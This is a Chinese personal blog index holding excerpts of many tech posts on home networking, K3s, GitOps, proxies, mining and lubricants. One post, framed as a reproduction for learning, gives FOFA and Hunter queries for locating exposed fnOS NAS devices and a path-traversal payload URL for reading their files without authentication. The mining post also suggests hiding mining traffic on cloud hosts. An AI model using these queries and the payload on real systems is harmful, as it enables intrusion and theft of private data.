My Blog

我的全屋 Wi-Fi 无缝漫游拓扑调优实战

Wed, 01 Jul 2026 00:00:00 +0000

一、背景与痛点：被黑盒支配的家庭网络

在接触无线网络底层协议之前，很多人（包括我）为了解决全屋 Wi-Fi 覆盖问题，盲目跟风购买了支持所谓“Mesh”的路由器。但在实际使用中，经常会遇到三个让人百思不得其解的诡异痛点：

伪自动切换（粘性终端）： 明明家里两个路由器的 Wi-Fi 名字和密码设置得一模一样，但拿着手机走到房间里，信号都跌到一格了，手机还是死死咬着客厅的微弱信号不放，非得手动开关一次 Wi-Fi 才能连上身边的满格信号。
子网割裂（投屏屡屡失败）： 莫名其妙地，家里设备被划分到了 192.168.1.0/24 和 192.168.124.0/24 两个不同的网段。手机和电视不在同一个局域网，导致隔三差五就搜不到投屏设备。
跨厂商组网壁垒： 大家都宣传 Mesh，为什么买回来的 A 品牌就是无法和 B 品牌一键组网？难道天下就没有一个通用的标准来打破这种商业垄断吗？

二、核心硬核知识：Wi-Fi 底层协议栈

想要掌握全屋 Wi-Fi 调优的主动权，必须先理清“物理基建速率”与“分布式控制协议”之间的两维关系。

1. IEEE 无线漫游三剑客（802.11k/v/r）

它们属于无线网络的管理类修正案，不决定最高网速，只负责优化终端在多个 AP（接入点）之间的协同体验。

IEEE 802.11k（无线资源测量协议）： 相当于 AP 帮手机开辟的“周边雷达”。它允许手机向当前 AP 索要邻居报告，告知周围还有哪些 AP、分别在什么信道，免去手机在空间中满频段盲扫的耗时。
IEEE 802.11v（无线网络管理协议）： 相当于 AP 的“交通指挥官”。当客厅 AP 发现手机信号变弱或自身负载过高时，会主动向手机下发 BTM（BSS 转换管理）帧：“你右边房间有个满格 AP，建议你立刻切过去”。
IEEE 802.11r（快速基本服务集转换协议 - FT）： 相当于“免认证 ETC 闸口”。让手机在 L2（二层链路）切换 AP 时，跳过最耗时的 4 步完整身份验证密钥协商，实现毫秒级的瞬间握手。

2. 802.11k/v/r 漫游切换机制全景图

当我们拿着手机从客厅走到房间，底层的控制平面和数据面实际上在上演一场高效的“双轨决策赛跑”：

 sequenceDiagram
 autonumber
 participant Phone as 手机 (Client)
 participant AP_Living as 客厅 AP (信道 44)
 participant AP_Room as 房间 AP (信道 161)

 Note over Phone, AP_Living: 【阶段一】正常连接在客厅
 Phone->>AP_Living: 正常传输数据 (信号满格 -50dBm)

 Note over Phone, AP_Living: 【阶段二】移动中，获取 802.11k 导航
 Note left of Phone: 手机检测到客厅信号跌破漫游阈值
 Phone->>AP_Living: 发送 802.11k 邻居请求 (请给我地图)
 AP_Living-->>Phone: 回应 802.11k 邻居报告 (告知房间 AP 在信道 161)
 Note left of Phone: 手机精准扫描信道 161 并锁定房间 AP

 Note over Phone, AP_Room: 【阶段三】到达边界，触发漫游决策（双轨赛跑）
 alt 轨迹 A：手机算法积极 (自主主动切换)
 Note left of Phone: 手机对比信号后自行做决定
 Phone->>AP_Living: 主动断开 L2 无线链路
 else 轨迹 B：手机消极怠工 (AP 通过 11v 催促)
 Note right of AP_Living: 客厅 AP 监测到弱信号终端妨碍空口效率
 AP_Living->>Phone: 发送 802.11v BTM 转换请求 (官方强制建议)
 Phone->>AP_Living: 听从建议，断开 L2 无线链路
 end

 Note over Phone, AP_Room: 【阶段四】物理链路切换，接入房间 AP
 alt 情况 1：开启了 802.11r (快速基本服务集转换)
 Phone->>AP_Room: 发起 FT 快速关联请求
 Note over Phone, AP_Room: 跳过 4 步握手协商
 AP_Room-->>Phone: 快速关联成功 (耗时 ~十几毫秒)
 else 情况 2：未开启 802.11r (仅靠 11k/v 导航)
 Phone->>AP_Room: 发起标准关联请求
 AP_Room->>Phone: WPA2/WPA3 四步握手密钥协商 (4-Way Handshake)
 Phone-->>AP_Room: 握手完成，分配动态密钥 (耗时 ~100-200毫秒)
 end

 Phone->>AP_Room: 正常传输数据 (信号满格)，无缝漫游完成

3. 2.4G 与 5G 的代际演进（Wi-Fi 联盟标准）

与管理协议不同，Wi-Fi 4/5/6/7 决定的是公路的最高限速和车道拓宽（物理层 PHY 改进）。其核心本质是波长带来的物理特性差异：2.4G 负责“广度”（波长长，穿墙绕射强，但干扰极大）；5G 负责“深度”（频宽大，速度极快，但穿墙衰减致命）。

Google Calendar 调教指南：如何优雅地处理节假日补全与视觉降噪

Tue, 07 Apr 2026 00:00:00 +0000

1. 订阅更完整的中国日历

Google Calendar 自带的中国节假日日历（Holidays in China）虽然能覆盖法定假期，但往往缺少像母亲节、父亲节这类非法定、但又极其重要的传统/国际节日。

为了解决这个问题，我选择了 yangh9 维护的开源日历。它不仅包含了法定节假日的调休补班提醒，还补齐了缺失的温情节日。

订阅地址： https://yangh9.github.io/ChinaCalendar/calendar.ics
适用人群： 需要精准调休提醒 + 传统/现代节日提醒的中国用户。

2. 视觉降噪：让参考信息回归背景

默认订阅日历后，你会发现由于全天日程（All-day events）的色块面积巨大，订阅的节日往往会“喧宾夺主”。

痛点： 由于系统默认色块饱和度较高，在白色背景下非常显眼。如下面左图所示，订阅的节日信息淹没了蓝色的个人核心日程（如会议、续费提醒或旅行计划）。

解决方案：调整色块信噪比 为了让日历更符合“以我为主”的逻辑，我们需要将订阅日历的颜色手动改为冷灰色 (Cool Gray)。

推荐 HEX 编码： #E8EAED
逻辑： 这种浅灰色在视觉上属于“低优先级”。它能像水印一样静静待在背景里，让你在需要查询时能看清，而在扫视日历时能瞬间定位到代表核心任务的蓝色块。

设置技巧： 在 Google 日历左侧栏找到订阅日历，点击 三个点 -> 添加自定义颜色 -> 输入 #E8EAED。

差点把WD40当作金属润滑剂。。。

Tue, 07 Apr 2026 00:00:00 +0000

背景：差点把WD40当作金属润滑剂。。。

常用润滑剂全书：从门闩到链条

1. 渗透松动剂（代表：原版 WD-40）

这种东西本质上是**“溶剂 + 极薄润滑油”**。

核心技能： 钻缝。它能钻进生锈螺丝的微小间隙，把铁锈溶解掉。
适用场景： 螺丝拧不动了、锁芯卡死了、零件表面有不干胶残胶。
误区： 不能替代长效润滑。它就像清道夫，干完活儿就走了（挥发），不能指望它在那儿守一辈子。

2. 干性润滑剂（代表：PTFE/特氟龙、石墨粉）

这种润滑剂的特点是喷完后表面是干的，不粘手。

核心技能： 不沾灰、不流油。
适用场景： 家居门窗轨道、抽屉滑轮、精密锁芯、钢琴零件。
脾气： 怕重载。如果金属之间的压力极大（比如汽车轴承），干性膜一蹭就破。

3. 硅质润滑剂（Silicone Lubricant）

这是一种透明、带点油性但又非常“温和”的润滑剂。

核心技能： 橡胶和塑料的亲妈。它不会腐蚀橡胶，甚至能防止橡胶干裂。
适用场景： 跑步机传送带、汽车车窗胶条、风扇轴承、O型密封圈。
注意： 它的润滑性不如矿物油强，所以别用在需要承受高强度的齿轮上。

4. 润滑脂（Grease，俗称“黄油”）

这就是那种粘糊糊、半固体状的油脂。

核心技能： 耐造、防水、封堵。它能像胶水一样粘在零件上，不乱跑。
适用场景： 自行车的中轴（轴承内部）、汽车车门限位器、重型机械齿轮。
缺点： 极易吸灰。如果你把它涂在露天的链条上，很快就会变成一串“黑泥大麻花”。

5. 缝纫机油 / 白油（矿物润滑油）

这是一种透明、流动性很好的轻质油。

核心技能： 极其顺滑，渗透力中等。
适用场景： 缝纫机、理发推子、精密仪表、轻载的小电机。
地位： 家用润滑的“万金油”，便宜好使，但抗磨损能力不如工业级润滑油。

快速查表：我该用哪个？

场景	推荐润滑剂	理由
生锈拧不动的螺丝	WD-40 蓝黄瓶	渗透性最强，暴力除锈
房门合页响、窗户卡	PTFE 干性喷剂	干净不沾灰，持久成膜
自行车链条（懒人）	湿性链条油	粘附力强，耐雨淋，长效
汽车车窗升降慢	硅质润滑喷剂	保护橡胶胶条，减小阻力
理发推子、电推剪	缝纫机油	安全、透明、阻力极小
自行车轮毂滚珠	固体黄油	高压力下不流失，防水

橡胶/塑料避开矿物油： 普通的机油、黄油会使橡胶肿胀、软化。给橡胶润滑，只能用硅油。
锁芯忌油： 永远不要往锁芯里灌黏稠的油。一旦油和灰尘混合变干，你的锁就彻底废了。石墨粉或极稀的 PTFE 是唯一选择。
WD-40 的陷阱： 记住它主要是用来“洗”和“松”的，不是用来“养”的。

飞牛OS (fnOS) 目录遍历 0day 漏洞复现与分析报告

Tue, 03 Feb 2026 00:00:00 +0000

0x01 背景概述

官方公告链接 2026年2月1日，飞牛OS (fnOS) 被曝存在高危 0day 漏洞。攻击者通过该漏洞可以绕过身份验证，随意访问 NAS 上的任意系统文件及用户数据。本文旨在复现该漏洞原理，供广大安全爱好者学习交流，请勿用于非法用途。

0x02 漏洞复现原理

该漏洞的核心在于 路径遍历 (Path Traversal)。飞牛 OS 的 app-center-static 模块在处理静态资源请求时，未对 size 参数进行严格的过滤与合规性检查。

步骤 1：筛选暴露在公网的受影响资产

利用网络空间测绘引擎，可以快速定位全球范围内开启了 Web 服务的飞牛 OS 实例。

方法一：使用 Hunter (鹰图)
查询语法：web.title="飞牛" and ip.port=="5667" and ip.state="beijing"
原理： 针对特定标题、默认 HTTPS 端口（5667）及地理位置进行组合搜索。
方法二：使用 FOFA
查询语法：icon_hash="470295793"
原理： 通过飞牛 OS 的 Favicon 图标哈希值进行精准匹配。

步骤 2：构造利用链接进行越权访问

找到尚未升级补丁的目标用户，进入登录页面后，将 URL 中的 /login 替换为特定的 LFI (Local File Inclusion) 负载路径。

核心 Payload： /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../
利用原理： URL 中的 %7B0%7D 代表占位符 {0}。通过在 size 参数中输入连续的 ../，攻击者可以跳出预设的静态资源目录，直接访问 Linux 系统根目录。
实战示例： 若需访问 vol2 下的特定备份文件夹，链接如下： https://[Target_IP]:5667/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../vol2/1000/hdd5/backup/

0x03 辅助渗透工具 (油猴脚本)

为了提高在目录遍历过程中的验证效率，可配合以下两款工具使用。

K3s 数据备份实践：基于 RustFS 与 Cloudflare R2 的双重保险

Thu, 08 Jan 2026 00:00:00 +0000

K3s 数据备份实践：基于 RustFS 与 Cloudflare R2 的双重保险

背景

随着业务全面迁移至 K3s 集群，数据安全成为了核心课题。由于集群中部分应用（如 Bitwarden）的数据持久化在宿主机的 /opt/k3s-data/ 目录下，我需要一套简单、直观且具备异地容灾能力的方案。

目标：

操作简单：自动化完成。
可视化检查：具备 Web UI，方便随时查看备份状态和文件。
异地容灾：本地 S3 与云端 S3 双备份。

技术选型

在存储协议上，我对比了 POSIX 和 S3：

特性	POSIX (如 NFS, SeaweedFS)	S3 (如 MinIO, RustFS, R2)
优势	像本地目录一样挂载，低延迟	协议通用，易于跨网络、跨云传输
劣势	跨节点管理复杂，Web 视图较弱	需要通过 API 或工具访问

最终选择：S3 协议 Cloudflare R2 等厂商提供了极具性价比的对象存储，配合轻量级的本地 S3 实现，既能保证速度又能实现异地备份。

存储组件对比

MinIO：功能强大但商业协议调整后不再纯粹，且资源占用较高。
RustFS：
优：Rust 实现，内存占用极低；自带 Web 控制台。
缺：处于 Alpha 阶段，曾曝出硬编码 Token 漏洞（CVE-2025-68926）。注：已在 1.0.0-alpha.78 修复。
SeaweedFS：性能优秀，但其 Web 界面主要用于集群管理而非文件浏览。

K3s 环境下基于 FluxCD 与 Reloader 的轻量级 GitOps 实践

Wed, 31 Dec 2025 00:00:00 +0000

K3s 环境下基于 FluxCD 与 Reloader 的轻量级 GitOps 实践

1. 背景：为什么需要 GitOps？

随着集群服务（如 Singbox、Realm）增多，手动维护 hostPath 挂载的配置文件变得极其低效且难以审计。为了实现“配置即代码”（Config as Code），我决定将敏感配置托管在私有 Git 仓库，并利用 FluxCD 实现自动同步，解决配置变更的“最后一公里”问题。

2. 技术选型：FluxCD vs ArgoCD

在边缘计算与轻量化集群（K3s）场景下，选型标准是低开销与高解耦：

特性	FluxCD	ArgoCD
架构	模块化控制器，按需安装	集中的 API Server 与 UI
开销	极低（适合边缘节点）	较高（Web UI 占用资源多）
管理	纯声明式，Git 为唯一真相来源	侧重可视化界面管理

结论：选择 FluxCD。它高度解耦，虽然学习曲线略陡，但非常符合“代码驱动”的逻辑。

3. FluxCD 核心组件与工作流

FluxCD 由多个专门的控制器组成，协同完成自动化任务：

Source Controller：负责拉取外部资源（Git/Helm）。
Kustomize Controller：执行器，负责解析 YAML 并应用到集群。
Notification Controller：负责处理事件通知（如 Slack/钉钉告警）。

4. 部署方案：Kustomize 远程引用

我不直接使用 Flux CLI 进行 Bootstrap，而是采用 Kustomize 远程资源引用 方式部署。这种方式更纯净，且方便版本锁定。

K3s 组网下的私有 GitOps 中心：Gitea 部署实践

Tue, 30 Dec 2025 00:00:00 +0000

K3s 组网下的私有 GitOps 中心：Gitea 部署实践

1. 背景与选型

随着集群服务增多（如 Singbox 等），配置文件（Config）的变更管理变得琐碎。将配置“代码化”并托管在私有 Git 仓库，结合 FluxCD 等工具实现 GitOps 是目前的最佳方案。

为什么选择 Gitea？

在私密性要求极高的场景下，我们选择了 Gitea：

GitHub：虽有私有仓库，但敏感配置（含账号密码）托管在公有云始终存在主权焦虑。
Gogs：老牌轻量，但社区活跃度较低，功能迭代缓慢。
Gitea：从 Gogs 分叉而来，功能全面且生态活跃，是目前私有化部署的最佳平衡点。

2. 核心架构设计

节点策略：强制钉在 Master 节点 (ccs)。因为 Gitea 涉及文件 IO 且作为核心基础设施，需要利用主节点较好的性能（4C4G）和稳定性。
协议选择：全量 HTTPS。在 Tailscale 组网中，为了穿透简单且复用 443 端口，我们放弃了复杂的 SSH 端口映射，统一走 HTTPS 流量。
持久化：采用 hostPath 挂载，便于宿主机直接进行文件级备份。

3. 部署要点与“避坑”指南

权限初始化（关键）

Gitea 镜像默认以 UID 1000 运行。如果宿主机目录权限不正确，会导致容器启动后无法写入数据库。

操作命令：

chown -R 1000:1000 /opt/k3s-data/gitea

针对 TS 组网的优化

由于 Ingress 默认只处理七层（HTTP/HTTPS）协议，且在 Tailscale 环境下暴露非标端口（如 SSH 的 22 或 30222）会增加防火墙维护成本，我们决定彻底禁用 SSH 服务。这不仅安全，还能让 Gitea UI 界面更简洁。

基于 Tailscale 构建跨云 K3s 集群实践

Tue, 16 Dec 2025 00:00:00 +0000

基于 Tailscale 构建跨云 K3s 集群实践

1. 背景与方案选型

在混合云或边缘计算场景下，节点往往分布在不同的网络环境（公网、内网、NAT 后）。使用 Tailscale 构建 Mesh 网络（Overlay Network）可以有效解决跨云通信问题。

方案优势：

K3s 原生支持：K3s 提供了实验性的 VPN 集成接口，通过 vpn-auth 参数可实现自动加入 Tailscale 网络并配置节点通信。参考：K3s Distributed Hybrid Setup。
网络透明化：屏蔽了复杂的防火墙、端口映射和 NAT 穿透细节。
成本低：Tailscale 个人版目前支持无限设备接入（此前限制为 100 台），对于中小规模集群完全免费。

2. 前置准备：Tailscale 配置

2.1 获取 ACL 权限与 Token

为了让 K3s 的 Pod 网络（Flannel/CNI）能够通过 Tailscale 路由，需要配置 ACL 允许节点宣告子网路由，并设置自动批准。

登录 Tailscale 控制台。
在 Access Controls 中添加以下配置（假设 K3s 默认 Cluster CIDR 为 10.42.0.0/16）：

{
 "autoApprovers": {
 "routes": {
 // 允许自动批准 10.42.0.0/16 网段的路由宣告
 // 请将 user@example.com 替换为你的 Tailscale 账户邮箱
 "10.42.0.0/16": ["user@example.com"]
 }
 },
 "acls": [
 {
 "action": "accept",
 "src": ["10.42.0.0/16"],
 "dst": ["10.42.0.0/16:*"]
 }
 // ... 保留其他默认 ACL
 ]
}

在 Settings > Keys 中创建一个 Reusable（可复用）的 Auth Key，并添加标签（可选，便于管理）。记下 Key 为 ${TAILSCALE_AUTH_KEY}。

3. 集群部署

3.1 安装 Tailscale (所有节点)

在 Server 和 Agent 节点上安装 Tailscale，但不需要手动执行 tailscale up，K3s 会自动接管这一步。

k3s 体验：从 docker-compose 到轻量级集群

Mon, 08 Dec 2025 00:00:00 +0000

k3s 体验：从 docker-compose 到轻量级集群

项目背景

我现在有七八台机器，原来全部用 docker-compose 来跑服务。虽然 docker-compose 已经比直接敲 docker run 舒服很多，但当机器数量一多，问题就来了：

每台机器一份 docker-compose.yaml
想改一个环境变量，要登上所有机器改一圈
想知道整个系统“现在到底跑了什么”，需要挨台登录

我给自己定了一个目标：用同一套方式、集中管理所有机器上的容器。

对我来说，k3s 满足了两个核心诉求：

用一套 kubectl 命令管理所有容器
自身足够轻量，适合我这种“穷人多机小集群”

k3s 是什么？

官方一句话：k3s 是通过 CNCF 一致性认证的轻量级 Kubernetes 发行版，专门为边缘计算和 IoT 场景设计。

可以简单理解为：

k3s = “缩小版、瘦身版的 Kubernetes”

特点：

单一二进制，安装简单（基本就是一条脚本）
默认集成了：
- containerd 作为容器运行时
- Flannel 作为默认 CNI（容器网络）
- Local Path Provisioner 等实用组件（存储）
资源占用比完整 k8s 小很多，非常适合：
- 家用小集群
- 边缘节点、树莓派
- 个人学习 / 轻量生产环境

这里就不展开安装命令了，直接搜 “k3s install” 或者让 LLM 按你的系统写安装脚本即可。

k3s 与 k8s：叫法和架构上的一点区别

在「标准 Kubernetes」里，我们习惯说：

CNIX 服务器安全开放 Socket 端口指南）

Fri, 21 Nov 2025 00:00:00 +0000

CNIX 服务器安全开放 Socket 端口指南

1. 背景说明

为了在阿里云前置机中部署 Docker，并提供访问 CNIX 服务器的 socket 服务，需要在 CNIX 上开放一组端口。但为了避免端口被扫描、滥用或遭受攻击，必须严格限制访问 IP。

本次方案采用 firewalld 实现精确白名单，只允许阿里云前置的出口 IP（47.99.99.99）访问指定端口，确保绝对安全。

firewalld 比 iptable更加简单

2. 安全策略设计：为什么要限制 IP

公网暴露端口会带来安全风险，包括：

被扫描器（Shodan/ZoomEye）发现
被爆破或代理滥用
被恶意流量攻击
暴露服务器结构信息

因此最安全的做法是：

使用白名单：只允许可信 IP 访问，其他来源全部拒绝

3. firewalld 规则配置（允许阿里云前置访问）

3.1 基础规则

创建白名单集合：

firewall-cmd --permanent --new-ipset=whitelist --type=hash:ip
firewall-cmd --permanent --ipset=whitelist --add-entry=47.99.99.99
firewall-cmd --permanent --ipset=whitelist --add-entry=42.184.184.184

使用集合配置规则（代替上面的单 IP 规则）：

# 允许白名单里的所有人访问 SSH
firewall-cmd --permanent --add-rich-rule='rule source ipset="whitelist" port port="22" protocol="tcp" accept'

# 允许白名单里的所有人访问端口范围
firewall-cmd --permanent --add-rich-rule='rule source ipset="whitelist" port port="11780-11799" protocol="tcp" accept'
firewall-cmd --permanent --add-rich-rule='rule source ipset="whitelist" port port="11780-11799" protocol="udp" accept'

firewall-cmd --reload

这样以后加 IP，只需要运行 firewall-cmd --permanent --ipset=whitelist --add-entry=新IP 然后 reload 即可。

NodePass 新手入门教程

Fri, 14 Nov 2025 00:00:00 +0000

🚀 NodePass 新手入门教程

📌 背景介绍

目前我的代理链路结构为：

阿里云（入口） → IX 中转 → 落地 VPS

过去一直使用 realm 做 TCP/UDP 转发，但现实痛点包括：

所有节点都需要手工 SSH 登录修改配置，运维复杂
缺乏端口/实例级别的流量与连接监控，仅能看到机器级别监控
转发链路拓扑难以可视化

因此开始寻找可观测性更强、运维自动化程度更高的转发方案。

市面上开源的两个主流转发面板是：

✔ NodePass

https://github.com/yosebyte/nodepass

优点：

转发组件由纯 Go 实现，依赖极少，部署轻量
前后端分离，易于自定义面板 / 自托管
支持 Docker / 二进制混合部署
架构灵活，server-client 模型可实现中转链路/内网穿透
更新维护稳定、社区活跃

缺点：

目前不支持多用户

✔ 哆啦A梦转发面板

https://github.com/bqlpfy/flux-panel

优点：

原生支持多用户

缺点：

作者曾删库，维护稳定性存在疑问
依赖 go-gost / go-gost/x（链路复杂度高）
后台为 Java + MySQL，部署较重

综合对比后，最终选择 NodePass。

🧠 NodePass 关键概念（新手必须理解）

NodePass 由三种运行模式组成：

1. Master（主控 / 控制平面）

提供 RESTful API
用来管理 server / client 实例
由 NodePassDash（前端）进行调用

Master 不参与数据转发，只负责下发配置与管理实例。

从 20MB/s 到 185MB/s：一次 Linux 下 USB 传输瓶颈排查实录

Tue, 11 Nov 2025 00:00:00 +0000

🚀 从 20MB/s 到 185MB/s：一次 Linux 下 USB 传输瓶颈排查实录

🧩 背景

由于我最近需要传输大量照片到我的手机，确认手机是支持USB3.2的，xps也是

设备环境：

💻 电脑：Dell XPS 9370（Thunderbolt 3 / USB-C 接口）
🐧 系统：Debian 12
📱 手机：Samsung Galaxy S24
❌ 问题：通过 USB 传照片仅有约 20 MB/s 速度

一、初步排查：确认 USB 接口与识别情况

首先查看系统识别的 USB 设备：

lsusb

输出（节选）：

Bus 001 Device 010: ID 04e8:6860 Samsung Electronics Co., Ltd Galaxy series, misc. (MTP mode)

查看内核日志：

sudo dmesg | tail -n 20

结果：

usb 1-1: new high-speed USB device number 10 using xhci_hcd

“high-speed” 表示 USB 2.0 模式（480 Mbps） 对应理论速率上限 60 MB/s，因此 20 MB/s 的传输速率是正常的 USB2.0 表现。

CryptCoin - BTC 篇

Wed, 22 Oct 2025 00:00:00 +0000

一、背景

比特币（BTC）是第一个去中心化的加密货币。虽然“挖矿”这个概念经常被提及，但许多人并没有亲自尝试过。本篇文章记录我在学习和实验 BTC 挖矿过程中掌握的知识与配置方法。

二、前置知识

1. 挖矿原理

比特币网络由无数节点共同维护一份去中心化账本（区块链）。每个区块通过其前一个区块的哈希值（hashPrevBlock）相互连接，形成链式结构。

矿工的任务是：

在已有区块链的末端尝试“添加”一个新区块；
区块中包含若干交易以及一个挖矿奖励（区块补贴 + 手续费），该奖励会自动转入矿工的钱包；
新区块必须满足“工作量证明”（Proof of Work，PoW）要求：

区块头经过 SHA-256 两次哈希后，结果必须小于当前网络目标值（Target）。通俗说，就是哈希结果的前导零必须达到指定数量（例如当前约需前 70 多个二进制零，约等于 24 个十六进制零）。

矿工通过不断调整区块头中的随机数 nonce 与时间戳，反复计算哈希，直到找到一个满足难度要求的结果。第一个找到的矿工可以将新区块广播到全网，从而获得当前的区块奖励。

2. 算法与计算

算法：SHA-256d（即双 SHA-256 哈希）。
硬件：早期可用 CPU/GPU，如今主流为 ASIC 专用矿机。
难度：网络每约 2016 个区块调整一次（约两周），保持平均出块时间为 10 分钟。

3. 矿池（Pool）

由于单个矿工算力有限，挖出整块的概率极低。矿池通过分配子任务（工作量份额 share）让矿工协同挖矿，并按贡献比例分配奖励。加入矿池可以显著提高“稳定收益”，但牺牲了“独挖中大奖”的机会。

4. 挖矿工具

cpuminer / cpuminer-multi：经典的 CPU 挖矿程序，支持 SHA-256、scrypt 等算法；
启动时指定算法、矿池地址、钱包地址即可运行。

示例命令：

cpuminer -a sha256d -o stratum+tcp://pool.solomining.de:3333 -u bc1qxxxxxxx.worker

5. 合规与风险

比特币挖矿在部分地区（如中国大陆）受到限制或禁止。务必了解所在地法律与云服务条款，避免在公共云上直接暴露挖矿流量。学习实验目的下，应控制算力占用、隐藏特征流量、避免对他人造成影响。

CryptCoin - XMR 篇

Wed, 22 Oct 2025 00:00:00 +0000

一、背景

在上一篇介绍的比特币（BTC）中，我们了解到由于其挖矿算法（SHA-256d）对 ASIC 极为友好，普通人使用 CPU 或 GPU 已几乎无法参与竞争。门罗币（Monero, XMR）则采用了完全不同的设计理念：

它的 RandomX 工作量证明算法刻意优化为 CPU 友好型；
拥有匿名性与隐私保护特性；
即使家用设备也能参与挖矿，从而保持去中心化与公平性。

因此，本篇记录我学习和实践门罗币挖矿的过程。

二、前置知识

1. 门罗币简介

门罗币（Monero, XMR）是一种强调 隐私性、可替代性（fungibility）和去中心化 的加密货币。它的目标是：

“让每一笔交易都是私密、安全、不可追踪的。”

2. 核心技术概念

环签名（Ring Signature） 一种加密签名方法，允许一组密钥中的任意成员代表整个组签名。这样外界只能确认“签名来自该组中的某人”，却无法判断具体是哪一位。
隐匿地址（Stealth Address）与子地址（Subaddress） 门罗币每笔交易都会生成一次性地址（子地址）。收款方通过私钥扫描区块链识别属于自己的交易，但外界无法将多笔交易关联到同一钱包。
环机密交易（RingCT） 通过加密方式隐藏交易金额，只验证输入输出的总量守恒。
RandomX 算法 门罗币的 PoW 算法。它不是固定的哈希函数，而是一个动态虚拟机执行环境，会随机生成伪代码指令并在 CPU 上执行。算法频繁调用内存、整数与浮点运算，使得 CPU 更高效，而 ASIC 难以优化，从而维持挖矿公平性。
P2Pool（去中心化矿池） 与传统矿池不同，P2Pool 采用分布式架构，矿工在本地验证 share 并直接与他人节点通信，无集中控制，也无需手续费。
xmrig 高性能门罗币挖矿工具，支持 RandomX / CryptoNight / Argon2 等算法，常用于 CPU 挖矿。

三、挖矿架构设计

为了在安全、合规的前提下学习挖矿，我采用以下架构：

初探 CNIX 专线： IX 的一次体验

Wed, 17 Sep 2025 00:00:00 +0000

初探 CNIX 专线： IX 的一次体验

背景

最近在逛 Nodeseek 时，看到有人讨论 IEPL 专线 和 IX 专线。和常见的“线路优化”不同，这类专线是真正的网络优化方案，主要面向企业或大厂应用场景。

常见专线类型

IPLL / IPEL（International Private Leased Line / Enterprise Link） 国际私有专线，跨境点对点的固定带宽链路，常用于企业总部与海外分支互联。
IEPL（International Ethernet Private Line） 基于以太网接口的国际专线，更适合大带宽场景，传输灵活。
IX 专线（Internet Exchange 专线） 通过一条专线接入互联网交换中心（IXP），在 IX 平台与多个对等网络建立 BGP Peering。
- 优势：不必单独拉多条跨运营商专线，降低互联成本，延迟更低。
- 不足：通常需要依托大型运营商或数据中心资源（如阿里云、通信云、火山云等）。

典型 IX 平台

CNIX（China New-type Internet eXchange，国家·深圳前海新型互联网交换中心）

成立：2021 年，国家级新型 IX 试点之一。
定位：不仅是传统二层互联，还强调算力网络、多云直连和 AI 合规，服务粤港澳大湾区及跨境互联。
特点：
- 国家战略级项目，受网信办/工信部支持；
- 面向运营商、云厂商、算力平台；
- 提供算力 VPN、AI 模型合规测试等增值服务。
目标：既做互联，也支撑产业数字化。

NNIX（National New-type Internet eXchange，国家·杭州新型互联网交换中心）

成立：国家级新型 IX 试点，位于杭州。
定位：服务华东与长三角，推动区域内多运营商/多云的就近互联。

不改 Nezha，照样新建 Komari：Docker + CF Tunnel 超简洁部署

Mon, 08 Sep 2025 00:00:00 +0000

使用 Cloudflare Tunnel 部署 Komari

背景

我之前已经使用 Nezha 监控 一段时间，但发现一些痛点：

Nezha 默认只能查看 1 分钟的机器信息 和 24 小时的延迟数据。
如果想通过公网访问，需要额外配置 Nginx 反代，过程繁琐。

而 Komari 原生支持 Cloudflare Tunnel (CF Tunnel)，可以直接通过 Cloudflare 提供的隧道进行访问，免去手动配置反代的烦恼。

因此我的目标是：

保留 Nezha（不修改、不影响现有部署）；
新增 Komari，通过 子域名 + Cloudflare Tunnel 部署。

官方文档参考

部署步骤

1. 准备 Docker Compose 文件

在服务器上新建 docker-compose.yml：

version: '3.8'
services:
 komari:
 image: ghcr.io/komari-monitor/komari:latest
 container_name: komari
 ports:
 - "25774:25774"
 volumes:
 - ./data:/app/data
 environment:
 ADMIN_USERNAME: admin
 ADMIN_PASSWORD: 123456
 KOMARI_ENABLE_CLOUDFLARED: "true"
 # 在 Cloudflare Tunnel 中获取的 Token
 KOMARI_CLOUDFLARED_TOKEN: eyJXXXX
 restart: unless-stopped

2. 在 Cloudflare Zero Trust 创建 Tunnel

登录 Cloudflare Zero Trust。
进入 Access → Tunnels。
点击 Create a tunnel → 选择 Cloudflare → 复制生成的 Token。
将复制的 Token 填写到 docker-compose.yml 中 KOMARI_CLOUDFLARED_TOKEN 字段。

3. 启动 Komari

在项目目录下执行：

debian12中让git使用socker5代理

Thu, 28 Aug 2025 00:00:00 +0000

Debian12 中让 Git 使用 SOCKS5 代理

在 Debian12 上使用 Git 访问远程仓库时，如果在公司或校园网络环境下，需要通过代理。很多人只配置了 http.proxy，发现 git push 无法使用，这往往与 仓库使用的协议不同 有关。下面整理一下完整解决方法。

SSH 链接和 HTTPS 链接的区别

在 GitHub 等平台上通常有两种 clone 地址：

SSH：如 git@github.com:git/git.git，走的是 SSH 协议，如果要代理，需要用 SOCKS5。
HTTPS：如 https://github.com/git/git.git，走的是 HTTP/HTTPS 协议，可以直接用 Git 内置的 http.proxy。

因此，是否能成功走代理，取决于你使用的仓库地址类型。

方法一：HTTPS 仓库使用 http.proxy 协议

如果仓库是 https:// 开头的，直接在本地配置即可：

git config --local http.proxy http://127.0.0.1:7090
git config --local https.proxy http://127.0.0.1:7090

这样，Git 在访问 HTTPS 仓库时会通过 HTTP 代理转发。

方法二：SSH 仓库使用 SOCKS5 协议

如果仓库是 git@github.com 这种 SSH 地址，需要在 SSH 配置文件中指定 SOCKS5 代理。

singbox使用fakeip让谷歌流量通过ip6出站

Sat, 02 Aug 2025 00:00:00 +0000

singbox使用fakeip让谷歌流量通过IPv6出站

背景

最近购买了香港的Hytron机器，作为解锁工具使用，流媒体服务已经能够正常解锁。但是，发现Google判定IPv4地址为中国地区IP，导致Google Music无法使用，并且切换回中国后Google的登录状态出现异常。为了解决这个问题，我决定让Google流量通过Hytron的IPv6出站，从而避免Google流量被错误判定为中国地区流量。

前置条件

我统一使用IPv4进行翻墙处理，IPv6地址并非所有地方都支持，因此大部分情况不使用IPv6。只有在VPS访问外网时，IPv4和IPv6同时出站。
配置基于SingBox 1.12.x版本。

翻墙原理

场景一：PC通过Socks5代理

对于PC端浏览器，只需配置Socks5代理即可实现流量通过VPS出站。

DNS解析流程：

浏览器访问：www.google.com -> 浏览器直接连接至Socks5代理，不进行DNS解析 -> VPS -> VPS通过DNS解析获取目标IP地址。

访问阶段：

浏览器访问：www.google.com -> 获取到IP地址后，通过Socks5代理连接至VPS -> VPS将流量发出。

 graph TD
 A[浏览器] --> B[Socks5代理]
 B --> C[VPS]
 C --> D[DNS解析]
 D --> E[Google IPv6地址]
 E --> F[出站流量]

场景二：手机通过TUN代理

